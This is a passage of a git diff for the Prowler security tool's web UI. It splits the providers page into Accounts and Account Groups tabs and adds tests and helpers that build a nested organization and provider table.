"@/components/manage-groups/forms"; +import { ColumnGroups } from "@/components/manage-groups/table"; +import { DataTable } from "@/components/ui/table"; +import { ProviderProps, Role, SearchParamsProps } from "@/types"; + +export const AccountGroupsContent = async ({ + searchParams, +}: { + searchParams: SearchParamsProps; +}) => { + const providerGroupId = searchParams.groupId; + + // Fetch all data in parallel + const [providersResponse, rolesResponse, providerGroupsData, editGroupData] = + await Promise.all([ + getProviders({ pageSize: 50 }), + getRoles({}), + fetchGroupsTableData(searchParams), + providerGroupId && !Array.isArray(providerGroupId) + ? getProviderGroupInfoById(providerGroupId) + : Promise.resolve(null), + ]); + + const providersList = + providersResponse?.data?.map((provider: ProviderProps) => ({ + id: provider.id, + name: provider.attributes.alias || provider.attributes.uid, + })) || []; + + const rolesList = + rolesResponse?.data?.map((role: Role) => ({ + id: role.id, + name: role.attributes.name, + })) || []; + + return ( +
+ {/* Left: Form (Add or Edit) */} +
+ {providerGroupId && editGroupData?.data ? ( + + ) : ( +
+

+ Create a new account group +

+

+ Create a new account group to manage the providers and roles. +

+ +
+ )} +
+ + {/* Divider */} +
+
+
+ + {/* Right: Table */} +
+ +
+
+ ); +}; + +interface EditGroupRelationships { + providers?: { data: ProviderProps[] }; + roles?: { data: Role[] }; +} + +interface EditGroupData { + attributes: { name: string }; + relationships: EditGroupRelationships; +} + +const EditGroupSection = ({ + providerGroupId, + groupData, + allProviders, + allRoles, +}: { + providerGroupId: string; + groupData: EditGroupData; + allProviders: { id: string; name: string }[]; + allRoles: { id: string; name: string }[]; +}) => { + const { attributes, relationships } = groupData; + + const associatedProviders = relationships.providers?.data.map( + (provider: ProviderProps) => { + const match = allProviders.find((p) => p.id === provider.id); + return { + id: provider.id, + name: match?.name || "Unavailable for your role", + }; + }, + ); + + const associatedRoles = relationships.roles?.data.map((role: Role) => { + const match = allRoles.find((r) => r.id === role.id); + return { + id: role.id, + name: match?.name || "Unavailable for your role", + }; + }); + + return ( +
+

Edit account group

+

+ Edit the account group to manage the providers and roles. +

+ +
+ ); +}; + +const fetchGroupsTableData = async (searchParams: SearchParamsProps) => { + const page = parseInt(searchParams.page?.toString() || "1", 10); + const sort = searchParams.sort?.toString(); + const pageSize = parseInt(searchParams.pageSize?.toString() || "10", 10); + + const filters: Record = {}; + Object.entries(searchParams) + .filter(([key]) => key.startsWith("filter[")) + .forEach(([key, value]) => { + filters[key] = value?.toString() || ""; + }); + + const query = (filters["filter[search]"] as string) || ""; + return getProviderGroups({ query, page, sort, filters, pageSize }); +}; diff --git a/ui/app/(prowler)/providers/page.test.ts b/ui/app/(prowler)/providers/page.test.ts index 8ede1bc614..8e2aabf50a 100644 --- a/ui/app/(prowler)/providers/page.test.ts +++ b/ui/app/(prowler)/providers/page.test.ts @@ -12,4 +12,26 @@ describe("providers page", () => { expect(source).not.toContain("key={`providers-${Date.now()}`}"); }); + + it("does not pass non-serializable DataTable callbacks from the server page", () => { + const currentDir = path.dirname(fileURLToPath(import.meta.url)); + const pagePath = path.join(currentDir, "page.tsx"); + const source = readFileSync(pagePath, "utf8"); + + expect(source).not.toContain("getSubRows={(row) => row.subRows}"); + }); + + it("keeps expandable providers columns on explicit fixed widths", () => { + const currentDir = path.dirname(fileURLToPath(import.meta.url)); + const columnsPath = path.join( + currentDir, + "../../../components/providers/table/column-providers.tsx", + ); + const source = readFileSync(columnsPath, "utf8"); + + // Account is fixed, Account Groups is fluid (no explicit size) + expect(source).toContain("size: 420"); + expect(source).toContain("size: 160"); + expect(source).toContain("size: 140"); + }); }); diff --git a/ui/app/(prowler)/providers/page.tsx b/ui/app/(prowler)/providers/page.tsx index 0f7cce564d..3520670c32 100644 --- a/ui/app/(prowler)/providers/page.tsx +++ b/ui/app/(prowler)/providers/page.tsx @@ -1,19 +1,21 @@ import { Suspense } from "react"; -import { getProviders } from "@/actions/providers"; -import { FilterControls, filterProviders } from "@/components/filters"; -import { ManageGroupsButton } from "@/components/manage-groups"; import { AddProviderButton, MutedFindingsConfigButton, + ProvidersAccountsTable, + ProvidersFilters, } from "@/components/providers"; -import { - ColumnProviders, - SkeletonTableProviders, -} from "@/components/providers/table"; +import { SkeletonTableProviders } from "@/components/providers/table"; +import { Skeleton } from "@/components/shadcn/skeleton/skeleton"; import { ContentLayout } from "@/components/ui"; -import { DataTable } from "@/components/ui/table"; -import { ProviderProps, SearchParamsProps } from "@/types"; +import { FilterTransitionWrapper } from "@/contexts"; +import { SearchParamsProps } from "@/types"; + +import { AccountGroupsContent } from "./account-groups-content"; +import { ProviderPageTabs } from "./provider-page-tabs"; +import { getProviderTab } from "./provider-page-tabs.shared"; +import { loadProvidersAccountsViewData } from "./providers-page.utils"; export default async function Providers({ searchParams, @@ -21,17 +23,35 @@ export default async function Providers({ searchParams: Promise; }) { const resolvedSearchParams = await searchParams; - const searchParamsKey = JSON.stringify(resolvedSearchParams || {}); + const activeTab = getProviderTab(resolvedSearchParams.tab); + + // Exclude `tab` from the Suspense key so switching tabs doesn't re-suspend + const { tab: _, ...paramsWithoutTab } = resolvedSearchParams || {}; + const searchParamsKey = JSON.stringify(paramsWithoutTab); return ( -
- - - }> - - -
+ + } + > + + + } + accountGroupsContent={ + } + > + + + } + /> +
); } @@ -39,7 +59,6 @@ export default async function Providers({ const ProvidersActions = () => { return (
-
@@ -48,68 +67,70 @@ const ProvidersActions = () => { const ProvidersTableFallback = () => { return ( -
-
+
+
+ {/* ProviderTypeSelector */} + + {/* Organizations filter */} + + {/* Account Groups filter */} + + {/* Status filter */} + + {/* Action buttons */} +
+ + +
+
+ +
+ ); +}; + +const AccountGroupsFallback = () => { + return ( +
+
+
+ + + + + + +
+
+
+
); }; -const ProvidersTable = async ({ +const ProvidersAccountsContent = async ({ searchParams, }: { searchParams: SearchParamsProps; }) => { - const page = parseInt(searchParams.page?.toString() || "1", 10); - const sort = searchParams.sort?.toString(); - const pageSize = parseInt(searchParams.pageSize?.toString() || "10", 10); - - // Extract all filter parameters - const filters = Object.fromEntries( - Object.entries(searchParams).filter(([key]) => key.startsWith("filter[")), - ); - - // Extract query from filters - const query = (filters["filter[search]"] as string) || ""; - - const providersData = await getProviders({ - query, - page, - sort, - filters, - pageSize, + const providersView = await loadProvidersAccountsViewData({ + searchParams, + isCloud: process.env.NEXT_PUBLIC_IS_CLOUD_ENV === "true", }); - const providerGroupDict = - providersData?.included - ?.filter((item: any) => item.type === "provider-groups") - .reduce((acc: Record, group: any) => { - acc[group.id] = group.attributes.name; - return acc; - }, {}) || {}; - - const enrichedProviders = - providersData?.data?.map((provider: ProviderProps) => { - const groupNames = - provider.relationships?.provider_groups?.data?.map( - (group: { id: string }) => - providerGroupDict[group.id] || "Unknown Group", - ) || []; - return { ...provider, groupNames }; - }) || []; - return ( - <> -
-
- -
-
- +
+ } + /> + +
); }; diff --git a/ui/app/(prowler)/providers/provider-page-tabs.shared.ts b/ui/app/(prowler)/providers/provider-page-tabs.shared.ts new file mode 100644 index 0000000000..25136ba49e --- /dev/null +++ b/ui/app/(prowler)/providers/provider-page-tabs.shared.ts @@ -0,0 +1,21 @@ +const PROVIDER_TAB = { + ACCOUNTS: "accounts", + ACCOUNT_GROUPS: "account-groups", +} as const; + +type ProviderTab = (typeof PROVIDER_TAB)[keyof typeof PROVIDER_TAB]; + +function isProviderTab(value: string): value is ProviderTab { + return Object.values(PROVIDER_TAB).includes(value as ProviderTab); +} + +function getProviderTab(value: string | string[] | undefined): ProviderTab { + if (typeof value !== "string") { + return PROVIDER_TAB.ACCOUNTS; + } + + return isProviderTab(value) ? value : PROVIDER_TAB.ACCOUNTS; +} + +export type { ProviderTab }; +export { getProviderTab, PROVIDER_TAB }; diff --git a/ui/app/(prowler)/providers/provider-page-tabs.test.tsx b/ui/app/(prowler)/providers/provider-page-tabs.test.tsx new file mode 100644 index 0000000000..0707218a87 --- /dev/null +++ b/ui/app/(prowler)/providers/provider-page-tabs.test.tsx @@ -0,0 +1,83 @@ +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +import { ProviderPageTabs } from "./provider-page-tabs"; +import { getProviderTab, PROVIDER_TAB } from "./provider-page-tabs.shared"; + +const { pushMock } = vi.hoisted(() => ({ + pushMock: vi.fn(), +})); + +vi.mock("next/navigation", () => ({ + useRouter: () => ({ + push: pushMock, + }), +})); + +describe("ProviderPageTabs", () => { + beforeEach(() => { + pushMock.mockClear(); + }); + + it("falls back to accounts when tab search params are invalid", () => { + expect(getProviderTab(undefined)).toBe(PROVIDER_TAB.ACCOUNTS); + expect(getProviderTab(["account-groups"])).toBe(PROVIDER_TAB.ACCOUNTS); + expect(getProviderTab("invalid-tab")).toBe(PROVIDER_TAB.ACCOUNTS); + expect(getProviderTab(PROVIDER_TAB.ACCOUNT_GROUPS)).toBe( + PROVIDER_TAB.ACCOUNT_GROUPS, + ); + }); + + it("shows the accounts tab when the route changes back to accounts", () => { + const { rerender } = render( + Accounts content
} + accountGroupsContent={
Account groups content
} + />, + ); + + expect(screen.getByRole("tab", { name: "Account Groups" })).toHaveAttribute( + "data-state", + "active", + ); + + rerender( + Accounts content
} + accountGroupsContent={
Account groups content
} + />, + ); + + expect(screen.getByRole("tab", { name: "Accounts" })).toHaveAttribute( + "data-state", + "active", + ); + expect(screen.getByText("Accounts content")).toBeVisible(); + }); + + it("does not switch the active tab before navigation updates the route", async () => { + const user = userEvent.setup(); + + render( + Accounts content
} + accountGroupsContent={
Account groups content
} + />, + ); + + await user.click(screen.getByRole("tab", { name: "Account Groups" })); + + expect(pushMock).toHaveBeenCalledWith("/providers?tab=account-groups"); + expect(screen.getByRole("tab", { name: "Accounts" })).toHaveAttribute( + "data-state", + "active", + ); + expect( + screen.getByRole("tab", { name: "Account Groups" }), + ).not.toHaveAttribute("data-state", "active"); + }); +}); diff --git a/ui/app/(prowler)/providers/provider-page-tabs.tsx b/ui/app/(prowler)/providers/provider-page-tabs.tsx new file mode 100644 index 0000000000..437c8b6da0 --- /dev/null +++ b/ui/app/(prowler)/providers/provider-page-tabs.tsx @@ -0,0 +1,59 @@ +"use client"; + +import { useRouter } from "next/navigation"; +import { ReactNode } from "react"; + +import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/shadcn"; + +import { PROVIDER_TAB, type ProviderTab } from "./provider-page-tabs.shared"; + +interface ProviderPageTabsProps { + activeTab: ProviderTab; + accountsContent: ReactNode; + accountGroupsContent: ReactNode; +} + +export const ProviderPageTabs = ({ + activeTab, + accountsContent, + accountGroupsContent, +}: ProviderPageTabsProps) => { + const router = useRouter(); + + const handleTabChange = (tab: string) => { + const typedTab = tab as ProviderTab; + + if (typedTab === activeTab) { + return; + } + + if (typedTab === PROVIDER_TAB.ACCOUNTS) { + router.push("/providers"); + } else { + router.push(`/providers?tab=${typedTab}`); + } + }; + + return ( + + + Accounts + + Account Groups + + + + + {accountsContent} + + + + {accountGroupsContent} + + + ); +}; diff --git a/ui/app/(prowler)/providers/providers-page.utils.test.ts b/ui/app/(prowler)/providers/providers-page.utils.test.ts new file mode 100644 index 0000000000..2bf4b4edd1 --- /dev/null +++ b/ui/app/(prowler)/providers/providers-page.utils.test.ts @@ -0,0 +1,750 @@ +import { describe, expect, it, vi } from "vitest"; + +const providersActionsMock = vi.hoisted(() => ({ + getProviders: vi.fn(), +})); + +const organizationsActionsMock = vi.hoisted(() => ({ + listOrganizationsSafe: vi.fn(), + listOrganizationUnitsSafe: vi.fn(), +})); + +const scansActionsMock = vi.hoisted(() => ({ + getScans: vi.fn(), +})); + +vi.mock("@/actions/providers", () => providersActionsMock); +vi.mock( + "@/actions/organizations/organizations", + () => organizationsActionsMock, +); +vi.mock("@/actions/scans", () => scansActionsMock); + +import { SearchParamsProps } from "@/types"; +import { ProvidersApiResponse } from "@/types/providers"; +import { ProvidersProviderRow } from "@/types/providers-table"; + +import { + buildProvidersTableRows, + loadProvidersAccountsViewData, + PROVIDERS_ROW_TYPE, +} from "./providers-page.utils"; + +const providersResponse: ProvidersApiResponse = { + links: { + first: "", + last: "", + next: null, + prev: null, + }, + data: [ + { + id: "provider-1", + type: "providers", + attributes: { + provider: "aws", + uid: "111111111111", + alias: "AWS App Account", + status: "completed", + resources: 0, + connection: { + connected: true, + last_checked_at: "2025-02-13T11:17:00Z", + }, + scanner_args: { + only_logs: false, + excluded_checks: [], + aws_retries_max_attempts: 3, + }, + inserted_at: "2025-02-13T11:17:00Z", + updated_at: "2025-02-13T11:17:00Z", + created_by: { + object: "user", + id: "user-1", + }, + }, + relationships: { + secret: { + data: { + type: "provider-secrets", + id: "secret-1", + }, + }, + provider_groups: { + meta: { + count: 1, + }, + data: [ + { + type: "provider-groups", + id: "group-1", + }, + ], + }, + }, + }, + { + id: "provider-2", + type: "providers", + attributes: { + provider: "aws", + uid: "222222222222", + alias: "Standalone Account", + status: "completed", + resources: 0, + connection: { + connected: false, + last_checked_at: "2025-02-13T11:17:00Z", + }, + scanner_args: { + only_logs: false, + excluded_checks: [], + aws_retries_max_attempts: 3, + }, + inserted_at: "2025-02-13T11:17:00Z", + updated_at: "2025-02-13T11:17:00Z", + created_by: { + object: "user", + id: "user-1", + }, + }, + relationships: { + secret: { + data: null, + }, + provider_groups: { + meta: { + count: 0, + }, + data: [], + }, + }, + }, + ], + included: [ + { + type: "provider-groups", + id: "group-1", + attributes: { + name: "AWS Team", + }, + }, + ], + meta: { + pagination: { + page: 1, + pages: 1, + count: 2, + }, + version: "1", + }, +}; + +const toProviderRow = ( + provider: (typeof providersResponse.data)[number], + overrides?: Partial, +): ProvidersProviderRow => ({ + ...provider, + ...overrides, + rowType: PROVIDERS_ROW_TYPE.PROVIDER, + groupNames: provider.id === "provider-1" ? ["AWS Team"] : [], + hasSchedule: false, + relationships: { + ...provider.relationships, + ...overrides?.relationships, + }, +}); + +describe("buildProvidersTableRows", () => { + it("returns a flat providers table for OSS", () => { + // Given + const providers = providersResponse.data.map((provider) => + toProviderRow(provider), + ); + + // When + const rows = buildProvidersTableRows({ + providers, + organizations: [], + organizationUnits: [], + isCloud: false, + }); + + // Then + expect(rows).toHaveLength(2); + expect(rows[0].rowType).toBe(PROVIDERS_ROW_TYPE.PROVIDER); + expect(rows[1].rowType).toBe(PROVIDERS_ROW_TYPE.PROVIDER); + }); + + it("nests providers under organizations and organization units in cloud", () => { + // Given + const providers = providersResponse.data.map((provider) => + toProviderRow(provider, { + relationships: { + ...provider.relationships, + organization: { + data: + provider.id === "provider-1" + ? { type: "organizations", id: "org-1" } + : null, + }, + organization_unit: { + data: + provider.id === "provider-1" + ? { type: "organizational-units", id: "ou-1" } + : null, + }, + }, + }), + ); + + // When + const rows = buildProvidersTableRows({ + providers, + organizations: [ + { + id: "org-1", + type: "organizations", + attributes: { + name: "Root Organization", + org_type: "aws", + external_id: "o-root", + metadata: {}, + root_external_id: "r-root", + }, + relationships: {}, + }, + ], + organizationUnits: [ + { + id: "ou-1", + type: "organizational-units", + attributes: { + name: "Security OU", + external_id: "ou-security", + parent_external_id: "r-root", + metadata: {}, + }, + relationships: { + organization: { + data: { + type: "organizations", + id: "org-1", + }, + }, + }, + }, + ], + isCloud: true, + }); + + // Then + expect(rows).toHaveLength(2); + expect(rows[0].rowType).toBe(PROVIDERS_ROW_TYPE.ORGANIZATION); + expect(rows[0].subRows).toHaveLength(1); + expect(rows[0].subRows?.[0].rowType).toBe(PROVIDERS_ROW_TYPE.ORGANIZATION); + expect(rows[0].subRows?.[0].subRows?.[0].rowType).toBe( + PROVIDERS_ROW_TYPE.PROVIDER, + ); + expect(rows[1].rowType).toBe(PROVIDERS_ROW_TYPE.PROVIDER); + }); + + it("nests organizational units recursively up to multiple levels", () => { + // Given — OU hierarchy: org-1 > ou-root > ou-child > ou-grandchild + const providers = [ + toProviderRow(providersResponse.data[0], { + relationships: { + ...providersResponse.data[0].relationships, + organization: { + data: { type: "organizations", id: "org-1" }, + }, + organization_unit: { + data: { type: "organizational-units", id: "ou-grandchild" }, + }, + }, + }), + ]; + + // When + const rows = buildProvidersTableRows({ + providers, + organizations: [ + { + id: "org-1", + type: "organizations", + attributes: { + name: "Root Organization", + org_type: "aws", + external_id: "o-root", + metadata: {}, + root_external_id: "r-root", + }, + relationships: {}, + }, + ], + organizationUnits: [ + { + id: "ou-root", + type: "organizational-units", + attributes: { + name: "Production", + external_id: "ou-prod", + parent_external_id: "r-root", + metadata: {}, + }, + relationships: { + organization: { + data: { type: "organizations", id: "org-1" }, + }, + }, + }, + { + id: "ou-child", + type: "organizational-units", + attributes: { + name: "EMEA", + external_id: "ou-emea", + parent_external_id: "ou-prod", + metadata: {}, + }, + relationships: { + organization: { + data: { type: "organizations", id: "org-1" }, + }, + }, + }, + { + id: "ou-grandchild", + type: "organizational-units", + attributes: { + name: "Security", + external_id: "ou-security", + parent_external_id: "ou-emea", + metadata: {}, + }, + relationships: { + organization: { + data: { type: "organizations", id: "org-1" }, + }, + }, + }, + ], + isCloud: true, + }); + + // Then — org > ou-root > ou-child > ou-grandchild > provider + expect(rows).toHaveLength(1); + const orgRow = rows[0]; + expect(orgRow.rowType).toBe(PROVIDERS_ROW_TYPE.ORGANIZATION); + expect(orgRow.subRows).toHaveLength(1); + + const ouRoot = orgRow.subRows![0]; + expect(ouRoot.rowType).toBe(PROVIDERS_ROW_TYPE.ORGANIZATION); + expect(ouRoot.subRows).toHaveLength(1); + + const ouChild = ouRoot.subRows![0]; + expect(ouChild.rowType).toBe(PROVIDERS_ROW_TYPE.ORGANIZATION); + expect(ouChild.subRows).toHaveLength(1); + + const ouGrandchild = ouChild.subRows![0]; + expect(ouGrandchild.rowType).toBe(PROVIDERS_ROW_TYPE.ORGANIZATION); + expect(ouGrandchild.subRows).toHaveLength(1); + expect(ouGrandchild.subRows![0].rowType).toBe(PROVIDERS_ROW_TYPE.PROVIDER); + }); + + it("nests providers under OUs using relationship-based parent IDs", () => { + // Given — providers have no org/OU linkage; tree is built from OU relationships + const providers = [toProviderRow(providersResponse.data[0])]; + + // When + const rows = buildProvidersTableRows({ + providers, + organizations: [ + { + id: "org-1", + type: "organizations", + attributes: { + name: "Root Organization", + org_type: "aws", + external_id: "o-root", + metadata: {}, + root_external_id: "r-root", + }, + relationships: {}, + }, + ], + organizationUnits: [ + { + id: "ou-parent", + type: "organizational-units", + attributes: { + name: "Workloads", + external_id: "ou-workloads", + parent_external_id: null, + metadata: {}, + }, + relationships: { + organization: { + data: { type: "organizations", id: "org-1" }, + }, + parent: { + data: null, + }, + }, + }, + { + id: "ou-child", + type: "organizational-units", + attributes: { + name: "Team A", + external_id: "ou-team-a", + parent_external_id: null, + metadata: {}, + }, + relationships: { + organization: { + data: { type: "organizations", id: "org-1" }, + }, + parent: { + data: { type: "organizational-units", id: "ou-parent" }, + }, + providers: { + data: [{ type: "providers", id: "provider-1" }], + }, + }, + }, + ], + isCloud: true, + }); + + // Then — org > ou-parent > ou-child > provider + // Provider is claimed by ou-child via relationships, so org's direct + // providers list becomes empty and the org row only contains the OU subtree. + expect(rows).toHaveLength(1); + const orgRow = rows[0]; + expect(orgRow.subRows).toHaveLength(1); + + const ouParent = orgRow.subRows![0]; + expect(ouParent.rowType).toBe(PROVIDERS_ROW_TYPE.ORGANIZATION); + expect(ouParent.subRows).toHaveLength(1); + + const ouChild = ouParent.subRows![0]; + expect(ouChild.rowType).toBe(PROVIDERS_ROW_TYPE.ORGANIZATION); + expect(ouChild.subRows).toHaveLength(1); + expect(ouChild.subRows![0].rowType).toBe(PROVIDERS_ROW_TYPE.PROVIDER); + }); + + it("does not duplicate providers that appear in both org relationships and OU assignments", () => { + // Given — provider-1 is linked to org-1 AND assigned to ou-1 + const providers = [ + toProviderRow(providersResponse.data[0], { + relationships: { + ...providersResponse.data[0].relationships, + organization: { + data: { type: "organizations", id: "org-1" }, + }, + organization_unit: { + data: { type: "organizational-units", id: "ou-1" }, + }, + }, + }), + ]; + + // When + const rows = buildProvidersTableRows({ + providers, + organizations: [ + { + id: "org-1", + type: "organizations", + attributes: { + name: "Root Organization", + org_type: "aws", + external_id: "o-root", + metadata: {}, + root_external_id: "r-root", + }, + relationships: { + providers: { + data: [{ type: "providers", id: "provider-1" }], + }, + }, + }, + ], + organizationUnits: [ + { + id: "ou-1", + type: "organizational-units", + attributes: { + name: "Security OU", + external_id: "ou-security", + parent_external_id: "r-root", + metadata: {}, + }, + relationships: { + organization: { + data: { type: "organizations", id: "org-1" }, + }, + }, + }, + ], + isCloud: true, + }); + + // Then — provider appears only under OU, not duplicated at org level + expect(rows).toHaveLength(1); + const orgRow = rows[0]; + expect(orgRow.rowType).toBe(PROVIDERS_ROW_TYPE.ORGANIZATION); + // Org should contain only the OU row, not the provider directly + expect(orgRow.subRows).toHaveLength(1); + expect(orgRow.subRows![0].rowType).toBe(PROVIDERS_ROW_TYPE.ORGANIZATION); + // The OU should contain the provider + expect(orgRow.subRows![0].subRows).toHaveLength(1); + expect(orgRow.subRows![0].subRows![0].rowType).toBe( + PROVIDERS_ROW_TYPE.PROVIDER, + ); + expect(orgRow.subRows![0].subRows![0].id).toBe("provider-1"); + }); + + it("keeps org-only providers as direct org children even when org has relationship data", () => { + // Given — provider-1 belongs to org-1 but has no OU + const providers = [ + toProviderRow(providersResponse.data[0], { + relationships: { + ...providersResponse.data[0].relationships, + organization: { + data: { type: "organizations", id: "org-1" }, + }, + organization_unit: { + data: null, + }, + }, + }), + ]; + + // When + const rows = buildProvidersTableRows({ + providers, + organizations: [ + { + id: "org-1", + type: "organizations", + attributes: { + name: "Root Organization", + org_type: "aws", + external_id: "o-root", + metadata: {}, + root_external_id: "r-root", + }, + relationships: { + providers: { + data: [{ type: "providers", id: "provider-1" }], + }, + }, + }, + ], + organizationUnits: [], + isCloud: true, + }); + + // Then — provider appears as a direct child of the org + expect(rows).toHaveLength(1); + const orgRow = rows[0]; + expect(orgRow.rowType).toBe(PROVIDERS_ROW_TYPE.ORGANIZATION); + expect(orgRow.subRows).toHaveLength(1); + expect(orgRow.subRows![0].rowType).toBe(PROVIDERS_ROW_TYPE.PROVIDER); + expect(orgRow.subRows![0].id).toBe("provider-1"); + }); + + it("groups providers from organization relationships when provider resources do not expose organization linkage", () => { + // Given + const providers = providersResponse.data.map((provider) => + toProviderRow(provider, { + relationships: { + ...provider.relationships, + organization: { + data: null, + }, + organization_unit: { + data: null, + }, + }, + }), + ); + + // When + const rows = buildProvidersTableRows({ + providers, + organizations: [ + { + id: "org-1", + type: "organizations", + attributes: { + name: "Shared Organization", + org_type: "aws", + external_id: "o-shared", + metadata: {}, + root_external_id: "r-shared", + }, + relationships: { + providers: { + data: [ + { type: "providers", id: "provider-1" }, + { type: "providers", id: "provider-2" }, + ], + }, + organizational_units: { + data: [], + }, + }, + }, + ], + organizationUnits: [], + isCloud: true, + }); + + // Then + expect(rows).toHaveLength(1); + expect(rows[0].rowType).toBe(PROVIDERS_ROW_TYPE.ORGANIZATION); + expect(rows[0].subRows).toHaveLength(2); + expect( + rows[0].subRows?.every( + (row) => row.rowType === PROVIDERS_ROW_TYPE.PROVIDER, + ), + ).toBe(true); + }); +}); + +describe("loadProvidersAccountsViewData", () => { + it("does not call organizations endpoints in OSS", async () => { + // Given + providersActionsMock.getProviders.mockResolvedValue(providersResponse); + scansActionsMock.getScans.mockResolvedValue({ data: [] }); + + // When + const viewData = await loadProvidersAccountsViewData({ + searchParams: {} satisfies SearchParamsProps, + isCloud: false, + }); + + // Then + expect( + organizationsActionsMock.listOrganizationsSafe, + ).not.toHaveBeenCalled(); + expect( + organizationsActionsMock.listOrganizationUnitsSafe, + ).not.toHaveBeenCalled(); + expect(viewData.filters.map((filter) => filter.labelCheckboxGroup)).toEqual( + ["Status"], + ); + }); + + it("loads organizations filters and recursive rows in cloud", async () => { + // Given + providersActionsMock.getProviders.mockResolvedValue({ + ...providersResponse, + data: providersResponse.data.map((provider) => ({ + ...provider, + relationships: { + ...provider.relationships, + organization: { + data: + provider.id === "provider-1" + ? { type: "organizations", id: "org-1" } + : null, + }, + organization_unit: { + data: + provider.id === "provider-1" + ? { type: "organizational-units", id: "ou-1" } + : null, + }, + }, + })), + }); + organizationsActionsMock.listOrganizationsSafe.mockResolvedValue({ + data: [ + { + id: "org-1", + type: "organizations", + attributes: { + name: "Root Organization", + org_type: "aws", + external_id: "o-root", + metadata: {}, + root_external_id: "r-root", + }, + relationships: {}, + }, + ], + }); + organizationsActionsMock.listOrganizationUnitsSafe.mockResolvedValue({ + data: [ + { + id: "ou-1", + type: "organizational-units", + attributes: { + name: "Security OU", + external_id: "ou-security", + parent_external_id: "r-root", + metadata: {}, + }, + relationships: { + organization: { + data: { + type: "organizations", + id: "org-1", + }, + }, + }, + }, + ], + }); + scansActionsMock.getScans.mockResolvedValue({ data: [] }); + + // When + const viewData = await loadProvidersAccountsViewData({ + searchParams: {} satisfies SearchParamsProps, + isCloud: true, + }); + + // Then + expect( + organizationsActionsMock.listOrganizationsSafe, + ).toHaveBeenCalledTimes(1); + expect( + organizationsActionsMock.listOrganizationUnitsSafe, + ).toHaveBeenCalledTimes(1); + expect(viewData.filters.map((filter) => filter.labelCheckboxGroup)).toEqual( + ["Status"], + ); + expect(viewData.rows[0].rowType).toBe(PROVIDERS_ROW_TYPE.ORGANIZATION); + }); + + it("falls back to empty cloud grouping data when organizations endpoints fail", async () => { + // Given + providersActionsMock.getProviders.mockResolvedValue(providersResponse); + organizationsActionsMock.listOrganizationsSafe.mockResolvedValue({ + data: [], + }); + organizationsActionsMock.listOrganizationUnitsSafe.mockResolvedValue({ + data: [], + }); + scansActionsMock.getScans.mockResolvedValue({ data: [] }); + + // When + const viewData = await loadProvidersAccountsViewData({ + searchParams: {} satisfies SearchParamsProps, + isCloud: true, + }); + + // Then + expect(viewData.filters.map((filter) => filter.labelCheckboxGroup)).toEqual( + ["Status"], + ); + expect(viewData.rows).toHaveLength(2); + expect( + viewData.rows.every((row) => row.rowType === PROVIDERS_ROW_TYPE.PROVIDER), + ).toBe(true); + }); +}); diff --git a/ui/app/(prowler)/providers/providers-page.utils.ts b/ui/app/(prowler)/providers/providers-page.utils.ts new file mode 100644 index 0000000000..781fb1fc6f --- /dev/null +++ b/ui/app/(prowler)/providers/providers-page.utils.ts @@ -0,0 +1,512 @@ +import { + listOrganizationsSafe, + listOrganizationUnitsSafe, +} from "@/actions/organizations/organizations"; +import { getProviders } from "@/actions/providers"; +import { getScans } from "@/actions/scans"; +import { + extractFiltersAndQuery, + extractSortAndKey, +} from "@/lib/helper-filters"; +import { + FilterEntity, + FilterOption, + OrganizationListResponse, + OrganizationUnitListResponse, + OrganizationUnitResource, + ProvidersApiResponse, + SearchParamsProps, +} from "@/types"; +import { + PROVIDERS_GROUP_KIND, + PROVIDERS_PAGE_FILTER, + PROVIDERS_ROW_TYPE, + ProvidersAccountsViewData, + ProvidersOrganizationRow, + ProvidersProviderRow, + ProvidersTableRow, + ProvidersTableRowsInput, +} from "@/types/providers-table"; +import { SCAN_TRIGGER, ScanProps } from "@/types/scans"; + +const PROVIDERS_STATUS_MAPPING = [ + { + true: { + label: "Connected", + value: "true", + }, + }, + { + false: { + label: "Not connected", + value: "false", + }, + }, +] as Array<{ [key: string]: FilterEntity }>; + +interface ProvidersAccountsViewInput { + isCloud: boolean; + searchParams: SearchParamsProps; +} + +function hasActionError(result: unknown): result is { + error: unknown; +} { + return Boolean( + result && + typeof result === "object" && + "error" in (result as Record) && + (result as Record).error !== null && + (result as Record).error !== undefined, + ); +} + +async function resolveActionResult( + action: Promise, + fallback?: T, +): Promise { + try { + const result = await action; + + if (hasActionError(result)) { + return fallback; + } + + return result ?? fallback; + } catch { + return fallback; + } +} + +const createProvidersFilters = (): FilterOption[] => { + return [ + { + key: PROVIDERS_PAGE_FILTER.STATUS, + labelCheckboxGroup: "Status", + values: ["true", "false"], + valueLabelMapping: PROVIDERS_STATUS_MAPPING, + index: 0, + }, + ]; +}; + +const createProviderGroupLookup = ( + providersResponse?: ProvidersApiResponse, +): Map => { + const lookup = new Map(); + + for (const includedItem of providersResponse?.included ?? []) { + if ( + includedItem.type === "provider-groups" && + typeof includedItem.attributes?.name === "string" + ) { + lookup.set(includedItem.id, includedItem.attributes.name); + } + } + + return lookup; +}; + +const ACTIVE_SCAN_STATES = new Set(["scheduled", "available", "executing"]); + +const buildScheduledProviderIds = (scans: ScanProps[]): Set => { + const scheduled = new Set(); + + for (const scan of scans) { + if ( + scan.attributes.trigger === SCAN_TRIGGER.SCHEDULED && + ACTIVE_SCAN_STATES.has(scan.attributes.state) + ) { + const providerId = scan.relationships.provider?.data?.id; + if (providerId) { + scheduled.add(providerId); + } + } + } + + return scheduled; +}; + +const enrichProviders = ( + providersResponse?: ProvidersApiResponse, + scheduledProviderIds?: Set, +): ProvidersProviderRow[] => { + const providerGroupLookup = createProviderGroupLookup(providersResponse); + + return (providersResponse?.data ?? []).map((provider) => ({ + ...provider, + rowType: PROVIDERS_ROW_TYPE.PROVIDER, + groupNames: + provider.relationships.provider_groups.data.map( + (providerGroup: { id: string }) => + providerGroupLookup.get(providerGroup.id) ?? "Unknown Group", + ) ?? [], + hasSchedule: scheduledProviderIds?.has(provider.id) ?? false, + })); +}; + +const createOrganizationRow = ({ + groupKind, + id, + name, + externalId, + organizationId, + parentExternalId, + subRows, +}: { + externalId: string | null; + groupKind: ProvidersOrganizationRow["groupKind"]; + id: string; + name: string; + organizationId: string | null; + parentExternalId: string | null; + subRows: ProvidersTableRow[]; +}): ProvidersOrganizationRow => ({ + id, + rowType: PROVIDERS_ROW_TYPE.ORGANIZATION, + groupKind, + name, + externalId, + organizationId, + parentExternalId, + providerCount: countProviderRows(subRows), + subRows, +}); + +function getRelationshipProviderIds( + relationships: + | { 